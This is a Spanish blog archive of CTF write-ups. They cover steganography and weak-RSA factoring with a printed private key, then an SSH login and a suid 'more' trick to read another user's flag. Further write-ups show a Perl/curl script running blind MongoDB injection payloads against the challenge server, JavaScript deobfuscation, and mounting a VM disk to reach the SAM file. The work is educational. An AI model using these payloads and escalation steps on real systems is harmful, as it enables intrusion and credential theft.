Archivo de la etiqueta: Retos hacking

Writeup CTF nn6ed crypto 1 y 2

Aquí va el solucionario de los dos retos web. El primero es muy sencillo y el segundo ha sido un gran quebradero de cabeza para mucha gente 🙂

Como siempre digo, aquí en el write-up se ve todo muy sencillo, pero ha sido una prueba dura e interesante en la que he aprendido mucho.

nn6ed6

En este reto tenemos lo que parece una imagen para descargar. Tras hacerlo vemos que da error al cargar y si la abrimos con un editor hexadecimal, nos damos cuenta de que las cabeceras son erróneas:screenshot-from-2016-10-02-16-38-53

Tras arreglar las cabeceras ya se ve la imagen:

screenshot-from-2016-10-02-16-40-45

moji2

Para pasar la primera parte la flag es la que aparece en la imagen.

screenshot-from-2016-10-02-16-43-11

Esta parte fue algo más dura. Al principio estuve probando a jugar con el Gimp, con el Openstego, Stegsolve, etc, pero no salía nada.

Tras ver la pista que dieron los organizadores ya fue más sencillo seguir: Hint! Your pixels are cloacked!

Si buscamos en Google ‘stego pixels cloaked’ llegamos a la siguiente herramienta: https://github.com/cyberinc/cloacked-pixel

Probamos con varias contraseñas de prueba a ver si es la herramienta que buscamos:

$ python lsb.py extract moji2.png x 1
[+] Image size: 589x385 pixels.
[+] Written extracted data to x.

$ cat x
r�Y^�c��k�:���2���R�������+���=��hn��.wN�e���I�'*�|׍�b�s�_����H2w�+��4v�F��z(ɔ�GEH2k�^��V�>�!��x�vx���e���}�إ�i�\����

$ python lsb.py extract moji2.png x 2
[+] Image size: 589x385 pixels.
[+] Written extracted data to x.

$ cat x
|	�IA�sb@�p(H*���E�C��>����8ڭ��	�wy�>�!t��ɤ��Q"9��M�Ԍ�����IF������|YT�-�8.�������_�
Y>�Q����#�k��j/�䆯N"(0�A���y/z]�M-H_�����
                                                7F,��.^����M6��l��췓��o*֫��L���15zeFr>�W

Finalmente la contraseña era la parte que eliminamos en la primera imagen: IT_A_KEY?

$ python lsb.py extract moji2.png x ITS_A_KEY?
[+] Image size: 589x385 pixels.
[+] Written extracted data to x.

$ cat x
Well done! Next step:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCx5QBxa6pHCE8k9yteQH1EYY+J5HKTsmJXIklWW7oOSozg4kTdyQ8KS8cSsSwLFB7RWS9R09sBC3SuslFqoUNg9WF6HfggqwFcQrYr/Y219QrKUHdGc4Ww2VMMsu1Z7J/CdoCaVOtvzorrRn84D1Yup/O4mElJtFKPqVRexPH4nQ== nope@challenges.ka0labs.org

Parece que tenemos la clave pública del usuario nope para conectar a challenges.ka0labs.org

Como no tenemos su contraseña, el siguiente paso es intentar factorizar el RSA para tratar de conseguir la clave privada. Primero generamos la clave pública:

$ ssh-keygen -e -f reto.pub -m pem > publica.pub

$ cat publica.pub
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "1024-bit RSA, converted by pepelux@debian from OpenSSH"
AAAAB3NzaC1yc2EAAAADAQABAAAAgQCx5QBxa6pHCE8k9yteQH1EYY+J5HKTsmJXIklWW7
oOSozg4kTdyQ8KS8cSsSwLFB7RWS9R09sBC3SuslFqoUNg9WF6HfggqwFcQrYr/Y219QrK
UHdGc4Ww2VMMsu1Z7J/CdoCaVOtvzorrRn84D1Yup/O4mElJtFKPqVRexPH4nQ==
---- END SSH2 PUBLIC KEY ----

Luego intentamos factorizar:

$ openssl asn1parse -in publica.pub -dump
    0:d=0  hl=3 l= 137 cons: SEQUENCE          
    3:d=1  hl=3 l= 129 prim: INTEGER           :B1E500716BAA47084F24F72B5E407D44618F89E47293B262572249565BBA0E4A8CE0E244DDC90F0A4BC712B12C0B141ED1592F51D3DB010B74AEB2516AA14360F5617A1DF820AB015C42B62BFD8DB5F50ACA5077467385B0D9530CB2ED59EC9FC276809A54EB6FCE8AEB467F380F562EA7F3B8984949B4528FA9545EC4F1F89D
  135:d=1  hl=2 l=   3 prim: INTEGER           :010001

Y usamos yafu para factorizar. No sé por qué extraña razón en Linux tarda horas y en Windows es inmediato, pero finalmente los factores son:

C:\Users\pepelux\yafu-1.34>yafu-x64.exe
factor(0xB1E500716BAA47084F24F72B5E407D44618F89E47293B262572249565BBA0E4A8CE0E244DDC90F0A4BC712B12C0B141ED1592F51D3DB010B74AEB2516AA14360F5617A1DF820AB015C42B62BFD8DB5F50ACA5077467385B0D9530CB2ED59EC9FC276809A54EB6FCE8AEB467F380F562EA7F3B8984949B4528FA9545EC4F1F89D)


fac: factoring 124921792855775818977661919091664145255912655430229905070916751207634989679077563366150914357137401069361159612310487901746227640262272162906761601684088715676733904562995975156691253986657287537424434696261198347613131906610882335716880469335259545274414561296986586441863163721176444852843817223762572605597
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
Total factoring time = 0.8593 seconds


***factors found***

P155 = 11176841810447878884198922181790853927738752698634471105954665587989597090822634144453546012786699765851259528055917981278986110673041108833426949630101553
P155 = 11176841810447878884198922181790853927738752698634471105954665587989597090802634144453546012786699765851259528055917981278986110673041108833426949630101549

ans = 1

Una vez que tenemos los factores, usamos rsatool para generar la clave privada:

$ python rsatool.py -f PEM -o key.pem -p 11176841810447878884198922181790853927738752698634471105954665587989597090822634144453546012786699765851259528055917981278986110673041108833426949630101553 -q 11176841810447878884198922181790853927738752698634471105954665587989597090802634144453546012786699765851259528055917981278986110673041108833426949630101549
Using (p, q) to initialise RSA instance

n =
b1e500716baa47084f24f72b5e407d44618f89e47293b262572249565bba0e4a8ce0e244ddc90f0a
4bc712b12c0b141ed1592f51d3db010b74aeb2516aa14360f5617a1df820ab015c42b62bfd8db5f5
0aca5077467385b0d9530cb2ed59ec9fc276809a54eb6fce8aeb467f380f562ea7f3b8984949b452
8fa9545ec4f1f89d

e = 65537 (0x10001)

d =
e80cc037332a3ade2bdf1c4c05f639712992035d6bd81da909e03fa9d69d2c6732bd666a4ea4266a
57cea62356405d4e95e6b0431d0760a580df20dbf32bc8a654b0ba96e8c4635e912310cc6fc3d654
ff9306fbc63d9538b5f30911e16a8c9a6ab1a5ad1fbd1d08c6e1ac0d36fca0d3eb357587070474a2
2b50223abbe4fc1

p =
d56743c765b827d64532b28d5896eedf8fa2f48f774054febcfeb742edbec42437dd18938f750e5e
bf86625b921c0894958afc3445e4cb6b047c3ea6d5c08831

q =
d56743c765b827d64532b28d5896eedf8fa2f48f774054febcfeb742edbec3777eae3f5a137b7814
fcc2e353fbc8039f4e6a8dece957cb6b047c3ea6d5c0882d

Saving PEM as key.pem
$ cat key.pem 
-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQCx5QBxa6pHCE8k9yteQH1EYY+J5HKTsmJXIklWW7oOSozg4kTdyQ8KS8cSsSwL
FB7RWS9R09sBC3SuslFqoUNg9WF6HfggqwFcQrYr/Y219QrKUHdGc4Ww2VMMsu1Z7J/CdoCaVOtv
zorrRn84D1Yup/O4mElJtFKPqVRexPH4nQIDAQABAoGADoDMA3Myo63ivfHEwF9jlxKZIDXWvYHa
kJ4D+p1p0sZzK9ZmpOpCZqV86mI1ZAXU6V5rBDHQdgpYDfINvzK8imVLC6lujEY16RIxDMb8PWVP
+TBvvGPZU4tfMJEeFqjJpqsaWtH70dCMbhrA02/KDT6zV1hwcEdKIrUCI6u+T8ECQQDVZ0PHZbgn
1kUyso1Ylu7fj6L0j3dAVP68/rdC7b7EJDfdGJOPdQ5ev4ZiW5IcCJSVivw0ReTLawR8PqbVwIgx
AkEA1WdDx2W4J9ZFMrKNWJbu34+i9I93QFT+vP63Qu2+w3d+rj9aE3t4FPzC41P7yAOfTmqN7OlX
y2sEfD6m1cCILQJBAMasFaDMJS8JP3DcY9Tm50pAee/+pIHC30lqRYjMt335TfzLRY0X6CHzYpOt
NpBcuJ+kPfoYW9G5NvrIhR+Y1/ECQAzhsuGybi9Za8vno0iZs8mi7f89OcGUX9wgtAdCOqWp7Oev
w0wxw8ngiBMY2rX0IgWlwPNwEnChASBO19tHR/ECQQDStJZH+WDMfOGKwgdIlKXA6KCZSj7e0UkF
hpC+B7ml7N8tPh8OXEKApLBECKZfXI2h/t8mNRubT7oqAtNekotX
-----END RSA PRIVATE KEY-----

Tras darle permisos 600 al fichero de claves, podemos conectar con el servidor:

$ ssh -i key.pem nope@challenges.ka0labs.org
=== Welcome to Barad-dur ===
The trees are strong, my lord. Their roots go deep...

nope:~$ 

Probamos varias cosas y vemos que, además de que nos tira tras un par de segundos de inactividad, también nos echa tras 3 warnings sobre lo que él considera prohibido:

nope:~$ ls
hint.txt
nope:~$ cat hint.txt 
The more you try, the closer you are
The more you try, the closer you are
The more you try, the closer you are
The more you try, the closer you are
The more you try, the closer you are
The more you try, the closer you are
The more you try, the closer you are
The more you try, the closer you are
The more you try, the closer you are
......

nope:~$ ls /
*** forbidden path -> "/"
*** You have 2 warning(s) left, before getting kicked out.
This incident has been reported.
nope:~$ 
Time is up! You're too slow 🙂
Connection to challenges.ka0labs.org closed.

Como no nos deja ejecutar casi nada, le pedimos ayuda con un help:

nope:~$ help
cat  cd  clear  exit  grep  help  history  lpath  ls  lsudo  more  pwd  sort

Y probamos los diferentes comandos. Uno de ellos nos da información de lo que podemos hacer, que es muy poco:

nope:~$ lpath
Allowed:
 /home/
 /home/nope
 /usr/bin/

En el directorio home vemos otro usuario, a cuya carpeta no tenemos acceso. Pero todo apunta a que tenemos que leer algo de ahí dentro, haciendo una escalada de privilegios:

nope:/home$ ls -la
total 16
drwxr-xr-x 13 root   root  4096 Oct  2 15:56 .
drwxr-xr-x 48 root   root  4096 Oct  2 15:56 ..
drwxrwxrwx  2 nope   users 4096 Oct  2 15:56 nope
dr-x------  2 noruas users 4096 Sep 21 10:44 noruas

nope:/home$ ls noruas/
ls: cannot open directory 'noruas/': Permission denied

Si echamos un vistazo a lo que hay en /usr/bin vemos que hay un fichero propiedad de este usuario y con suid (el fichero more):

nope:~$ ls -la /usr/bin
-rwxr-xr-x  1 root   root   72864 Sep  7 13:47 mkswap
-rwxr-xr-x  1 root   root   39696 May 14 12:50 mktemp
lrwxrwxrwx  1 root   root       4 Jul 20 13:33 modinfo -> kmod
lrwxrwxrwx  1 root   root       4 Jul 20 13:33 modprobe -> kmod
-rwsr-xr-x  1 noruas root   39752 Sep  7 13:47 more
-rwsr-xr-x  1 root   root   40136 Sep  7 13:47 mount
-rwxr-xr-x  1 root   root   14768 Sep  7 13:47 mountpoint
-rwxr-xr-x  1 root   root   14688 Aug 17 16:43 mpicalc
-rwxr-xr-x  1 root   root   23000 Jun 12 11:13 msgattrib
-rwxr-xr-x  1 root   root   22992 Jun 12 11:13 msgcat
-rwxr-xr-x  1 root   root   23112 Jun 12 11:13 msgcmp
-rwxr-xr-x  1 root   root   18880 Jun 12 11:13 msgcomm

Tratamos de ver si podemos listar todo pero nos dice que no:

nope:/home$ more noruas/*
more: stat of noruas/* failed: No such file or directory

Vemos que en nuestro directorio hay un fichero .your_history y suponemos que en el del usuario también debe haberlo:

nope:~$ ls -la
total 20
drwxrwxrwx  2 nope users 4096 Oct  2 16:00 .
drwxr-xr-x 13 root root  4096 Oct  2 16:00 ..
-rw-r--r--  1 nope users    0 Oct  2 16:00 .your_history
-rwxrwxrwx  1 nope root  9250 Sep 14 14:52 hint.txt

nope:~$ more ../noruas/.your_history
cat flag.txt

Y ahí tenemos nuestra flag 🙂

nope:~$ more ../noruas/flag.txt
nn6ed{RSA_w0rks_Gr34t_1f_You_Us3_It_Pr0perly}

Writeup CTF nn6ed web1

Ha sido un fin de semana muy intenso. Antes de nada dar la enhorabuena a los chicos de Insanity – @ka0labs por el  CTF, ya que ha sido muy entretenido.

Como no tomé apuntes de las cosas que fui haciendo, me toca pasarme los retos de nuevo para podr escribir el solucionario 🙂 así que iré escribiendo el write-up poco a poco. Aquí va cómo resolví el primer reto de web.

nn6ed1

Tras acceder a la web del reto vemos la siguiente web:
nn6ed2

Editando el código fuente, vemos lo que parece una pista, pero que sólo es para despistar:

<!-- It's nice to design listening to your favourite song :)) https://youtu.be/UbA8TFYY-KY?t=4m54s -->

Nos llama la atención ver la forma como se generan las imágenes:

            <img src="/avatar/Q2FjdHVz">
            <img src="/avatar/UGV0YWxv">
            <img src="/avatar/QnVyYnVqYQ==">

Si ponemos cualquier cosa en avatar vemos que aparece:
nn6ed4

Si escribimos por ejemplo una comilla en base64:

nn6ed4

Para probar de manera más sencilla usé el siguiente script:

#!/usr/bin/perl
use MIME::Base64;

my $word = $ARGV[0];
my $b64 = encode_base64($word);
 
exec "curl -I http://challenges.ka0labs.org:31337/avatar/".$b64;

Y así analizamos mejor las respuestas:

$ perl web1.pl "Burbuja"
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 10:38:20 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 39
Connection: keep-alive
Location: /imgs/burbuja.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0
$ perl web1.pl "Burbuja'"
HTTP/1.1 400 Bad Request
Server: nginx
Date: Sun, 02 Oct 2016 11:04:32 GMT
Content-Type: image/gif
Content-Length: 400305
Connection: keep-alive
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Fri, 15 Aug 2014 14:14:33 GMT
ETag: W/"61bb1-147da051928"

Como suponemos que es un MongoDB, por la descripción del reto, intentamos ejecutar diferentes inyecciones:

$ perl web1.pl "Burbuja||'1'='1"
HTTP/1.1 400 Bad Request
Server: nginx
Date: Sun, 02 Oct 2016 11:06:54 GMT
Content-Type: image/gif
Content-Length: 400305
Connection: keep-alive
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Fri, 15 Aug 2014 14:14:33 GMT
ETag: W/"61bb1-147da051928"
$ perl web1.pl 'Burbuja||"1"="1'
HTTP/1.1 500 Internal Server Error
Server: nginx
Date: Sun, 02 Oct 2016 11:07:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 20
Connection: keep-alive
ETag: W/"14-T/08Zi7QtXFVEDkd9P0Srw"

Se puede ver que según lo que metamos nos da diferentes resultados, en este caso errores, por lo que suponemos que no filtra bien lo que introducimos, aunque no llegamos a sacar una respuesta válida de esta forma.

Si probamos a inyectar un byte nulo al final, vemos que ya sí conseguimos sacar cosas en claro. Para ello modificamos el script:

#!/usr/bin/perl
use String::HexConvert ':all';
use MIME::Base64;

my $word = $ARGV[0];

my $hex = ascii_to_hex($word)."00";
my $word = hex_to_ascii($hex);
my $b64 = encode_base64($word);
 
exec "curl -I http://challenges.ka0labs.org:31337/avatar/".$b64;

Y vemos que funciona:

$ perl web1.pl 'Burbuja"'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 11:12:22 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 39
Connection: keep-alive
Location: /imgs/burbuja.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0

Así que toca probar cosas:

$ perl web1.pl 'Burbuja";1==1'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 11:15:55 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 36
Connection: keep-alive
Location: /imgs/mojo.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0
$ perl web1.pl 'Burbuja";1==0'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 11:15:58 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 37
Connection: keep-alive
Location: /imgs/undefined
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0

Finalmente, tras varias pruebas, vemos que tenemos un blind injection:

$ perl web1.pl 'Burbuja"||1==0'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 11:17:24 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 39
Connection: keep-alive
Location: /imgs/burbuja.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0
$ perl web1.pl 'Burbuja"||1==1'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 11:17:28 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 36
Connection: keep-alive
Location: /imgs/mojo.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0

Si la petición es válida nos carga la imagen mojo.png y si no, carga burbuja.png.

Llegados a este punto, me encontré algo bloqueado porque la verdad es que no tengo ni idea de MongoDB. Así que tras buscar en Google, la web https://pentesterlab.com/exercises/web_for_pentester_II/course me dio una idea de por dónde seguir:

$ perl web1.pl 'Burbuja"||this.password.match(/./)'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 11:54:18 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 36
Connection: keep-alive
Location: /imgs/mojo.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0

Vemos que nos devuelve mojo.png, por lo que la petición es correcta. Así que seguimos por ese camino a ver si sacamos la flag. Para ello fui probando a mano combinaciones y acotando el resultado.

$ perl web1.pl 'Burbuja"||this.password.match(/^bubbles{[A-Z].*}$/)'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 11:57:59 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 36
Connection: keep-alive
Location: /imgs/mojo.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0

Cuando iba por la mitad me empezó a dar errores, la verdad es que no sé por qué, pero cambié la forma de inyectar para poder continuar:

$ perl web1.pl 'Burbuja"||this.password[14]>"a"'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 12:01:03 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 36
Connection: keep-alive
Location: /imgs/mojo.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0
$ perl web1.pl 'Burbuja"||this.password[14]=="u"'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 12:01:48 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 36
Connection: keep-alive
Location: /imgs/mojo.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0

Hasta que finalmente salió el flag para pasar el reto: bubbles{Ih4t3Sup3RG1rrrlz}

Sec/Admin 2015 CTF writeup

Este fin de semana fue el congreso Sec/Admin en Sevilla al que lamentablemente no pude asistir, pero el CTF era semipresencial, con 9 retos online y 2 ‘in situ’, así que pude divertirme un rato desde casa.

Como se puede ver en las fotos, el congreso estuvo genial:

814702549_50590_12329341826106579824 814715067_50491_776907250651971808 816234859_39149_5642048687174864698

Y aquí va mi solucionario del CTF:

PRUEBA 1

prueba1

Editando el código fuente de la página podemos ver un JavaScript:

&lt;script&gt;

var FLAG = (!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])	
FLAG = FLAG + 1337;
FLAG = FLAG * 7;

&lt;/script&gt;

Para resolverlo basta con descargar la página en local y poner un alert al final del código:

&lt;script&gt;

FLAG = FLAG + 1337;
FLAG = FLAG * 7;
alert(FLAG);

&lt;/script&gt;

El flag para pasar el reto es: 10990


 

PRUEBA 2

prueba2

Al cargar la página nos pone:

El archivo donde se encuentra el flag se llama prueba2.html

De forma similar al anterior, editamos el código fuente y vemos otro JavaScript:

&lt;script language="javascript"&gt;
&lt;!-- //
function decode_base64(s)
{
    var e = {}, i, k, v = [], r = '', w = String.fromCharCode;
    var n = [[65, 91], [97, 123], [48, 58], [43, 44], [47, 48]];

    for (z in n)
    {
        for (i = n[z][0]; i &lt; n[z][1]; i++)
        {
            v.push(w(i));
        }
    }
    for (i = 0; i &lt; 64; i++)
    {
        e[v[i]] = i;
    }

    for (i = 0; i &lt; s.length; i+=72)
    {
        var b = 0, c, x, l = 0, o = s.substring(i, i+72);
        for (x = 0; x &lt; o.length; x++)
        {
            c = e[o.charAt(x)];
            b = (b &lt;&lt; 6) + c; l += 6; while (l &gt;= 8)
            {
                r += w((b &gt;&gt;&gt; (l -= 8)) % 256);
            }
         }
    }
    return r;
}

function pasuser(form) {
var bri;
var j0 = "BxRGFsQowGt";
var jo = "345563";
var ctx = new String('bGFsYWxhDQo=');
var ni = j0;
var la = decode_base64(ctx);
var li = "trokioff";
jo = jo + 8941;
var ti = la.toString();
var fi = jo;
j0 = li.concat(li,jo);
bri = form.pass.value;

if ((form.id.value == "SecAdmin") &amp;&amp; (bri == fi)) { 
alert("FLAG ENCONTRADA");
} else {
alert(fi);
alert("Usuario o Password Invalido");
}
}
--&gt;
&lt;/script&gt;

Al igual que antes, con un simple alert podemos hacer que nos escupa la flag:

var bri;
var j0 = "BxRGFsQowGt";
var jo = "345563";
var ctx = new String('bGFsYWxhDQo=');
var ni = j0;
var la = decode_base64(ctx);
var li = "trokioff";
jo = jo + 8941;
var ti = la.toString();
var fi = jo;
j0 = li.concat(li,jo);
alert(fi);
--&gt;
&lt;/script&gt;

El flag para pasar el reto es: 3455638941


 

PRUEBA 3

prueba3

De nuevo otro JavaScript:

&lt;script&gt;
eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?'':e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k)}}return p}('m f(s){3 e={},i,k,v=[],r=\'\',w=C.A;3 n=[[y,D],[G,F],[4,u],[d,9],[g,4]];2(z j n){2(i=n[z][0];i&lt;n[z][1];i++){v.p(w(i))}}2(i=0;i&lt;q;i++){e[v[i]]=i}2(i=0;i&lt;s.7;i+=5){3 b=0,c,x,l=0,o=s.a(i,i+5);2(x=0;x&lt;o.7;x++){c=e[o.E(x)];b=(b&lt;&lt;6)+c;l+=6;B(l&gt;=8){r+=w((b&gt;&gt;&gt;(l-=8))%h)}}}t r}',43,43,'||for|var|48|72||length||44|substring|||43||hh|47|256||in|||function|||push|64|||return|58||||65||fromCharCode|while|String|91|charAt|123|97'.split('|'),0,{}));
function x(form) {
var bri;
var j0 = "BxRGFsQowGt";
var jo = "r35r5gtsvvgdvgsb";
var ctx = new String('bGFsYWxhDQo=');
eval(hh("dmFyIHRpaz1kb2N1bWVudC50aXRsZTsg"));
eval(hh("dmFyIGZsZz0iNzE4ODQ1NzE2MyI7"));
var ni = j0;
eval(hh("dmFyIGxhPWhoKGN0eCk7"));
var li = "trokioff";
var tak = tik;
var ti = la.toString();
var fi = jo;
j0 = li.concat(li,jo);
bri = form.pasw.value;
if ((form.user.value == "SecAdmin") &amp;&amp; (bri == tak)) { 
eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?'':e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k)}}return p}('0 E="F D, C v A B G";0 m="H M, N L K I J u b";0 3="9 7 2 6 5 4 8 s r o";0 k="f 1 i, O 1 P y a Y 10 2 Z 11 ";0 12="a x g h V R W e w g j y p l n q a d c z x t y U T S Q";X(m);',62,65,'var|comemos|le|ycopas|BIRRA|una|pille|4lguien|al|Qu3||FLAG||||Hoy|||pavooo||capedales||||F4v0r|||p0r|d3v3l0p3r||la|tikitun|||||patum|kin|chinchutraka|Aboebe|tolo|Abanibi|taun|p4ssw0rd|3st4s|busc4nd0|qu3|r3cu3rd4|Enc0ntr4d0|p3r0|hoy|pavoooo|69875|cmn|444|ER|bh|ert|elkjop|alert|quien|guste|no|ee|ato'.split('|'),0,{}));
} else {
alert("Usuario o Password Invalido");
}	
}
&lt;/script&gt;

En la URL http://matthewfl.com/unPacker.html podemos desempaquetar las funciones y nos queda:

function hh(s)
	{
	var e=
		{
	}
	,i,k,v=[],r='',w=String.fromCharCode;
	var n=[[65,91],[97,123],[48,58],[43,44],[47,48]];
	for(z in n)
		{
		for(i=n[z][0];
		i&lt;n[z][1];
		i++)
			{
			v.push(w(i))
		}
	}
	for(i=0;
	i&lt;64;
	i++)
		{
		e[v[i]]=i
	}
	for(i=0;
	i&lt;s.length;
	i+=72)
		{
		var b=0,c,x,l=0,o=s.substring(i,i+72);
		for(x=0;
		x&lt;o.length;
		x++)
			{
			c=e[o.charAt(x)];
			b=(b&lt;&lt;6)+c; l+=6; while(l&gt;=8)
				{
				r+=w((b&gt;&gt;&gt;(l-=8))%256)
			}
		}
	}
	return r
}
var tolo="Abanibi Aboebe, chinchutraka tikitun patum kin taun";
var m="p4ssw0rd Enc0ntr4d0, p3r0 r3cu3rd4 qu3 3st4s busc4nd0 la FLAG";
var ycopas="Qu3 4lguien le pille una BIRRA al d3v3l0p3r p0r F4v0r";
var capedales="Hoy comemos pavooo, hoy comemos pavoooo y a quien no le guste ee ";
var ato="a x g h ert cmn elkjop e w g j y p l n q a d c z x t y bh ER 444 69875";
alert(m);

En la segunda función nos da una pista pero no aparece la flag. Sin embargo, vemos algunos valores en base64. Uno de ellos nos da la flag:

unbase64(dmFyIGZsZz0iNzE4ODQ1NzE2MyI7)='var flg="7188457163";'

El flag para pasar el reto es: 7188457163


 

PRUEBA 4

prueba4

Podemos ver en pantalla algunas imágenes que analizaremos con stegsolve y obtenemos algunas cosas interesantes:

solved1 solved2

Tambien podemos llegar a estos valores con un simple strings de las imágenes:

         &lt;photoshop:TextLayers&gt;
            &lt;rdf:Bag&gt;
               &lt;rdf:li rdf:parseType="Resource"&gt;
                  &lt;photoshop:LayerName&gt;Wh3r3 1s the c0de?  &lt;/photoshop:LayerName&gt;
                  &lt;photoshop:LayerText&gt;Wh3r3 1s the c0de?  &lt;/photoshop:LayerText&gt;
               &lt;/rdf:li&gt;
               &lt;rdf:li rdf:parseType="Resource"&gt;
                  &lt;photoshop:LayerName&gt;Look d33p 1ns1de&lt;/photoshop:LayerName&gt;
                  &lt;photoshop:LayerText&gt;Look d33p 1ns1de&lt;/photoshop:LayerText&gt;
               &lt;/rdf:li&gt;
            &lt;/rdf:Bag&gt;
         &lt;/photoshop:TextLayers&gt;

La solución es un poco de ciencia ficción, puesto que la flag para pasar el reto es la concatenación de este número encontrado y el nombre de uno de los ficheros: 89932.jpg

El flag para pasar el reto es: 01843989932


 

PRUEBA 5

prueba5

 

Nos encontramos un fichero ZIP cuya contraseña había que adivinar y, que resultó ser: secadmin.

Dentro del ZIP tenemos un script en python que basándose en un CVS dibuja todas las IPs creando una especie de mapa del mundo.

El bombre de la imagen que se usa como plantilla para dibujar es bribriblibli.gif y resulta ser una canción de Extremoduro. Por otro lado, el nombre del CVS tiene pinta de clave: 16734263999.csv

El script nos mostraba una pita:

Acertijo en Python la solucion esta relacionada con lo que dibuja el script

Pero tras darle muchas vueltas, no conseguí pasar este reto 🙁


 

PRUEBA 6

prueba6

Nos da un enlace con un fichero a descargar. Se trata de una máquina virtual para VirtualBox con un Windows 2003 Server. Tras arrancarlo no podemos entrar ya que no conocemos ningún usuario válido.

Pasamos a cargar el disco en nuestro Linux, a ver si conseguimos extraer el fichero SAM con los usuarios del sistema:

# rmmod nbd
# modprobe nbd max_part=16
# qemu-nbd -c /dev/nbd0 "Windows Server 2003.vdi" 
# ls /dev/nbd
nbd0    nbd1    nbd11   nbd13   nbd15   nbd3    nbd5    nbd7    nbd9
nbd0p1  nbd10   nbd12   nbd14   nbd2    nbd4    nbd6    nbd8    
# mount /dev/nbd0p1 /mnt
# ls /mnt
Archivos de programa  Documents and Settings  pagefile.sys
AUTOEXEC.BAT	      IO.SYS		      RECYCLER
bootfont.bin	      MSDOS.SYS		      System Volume Information
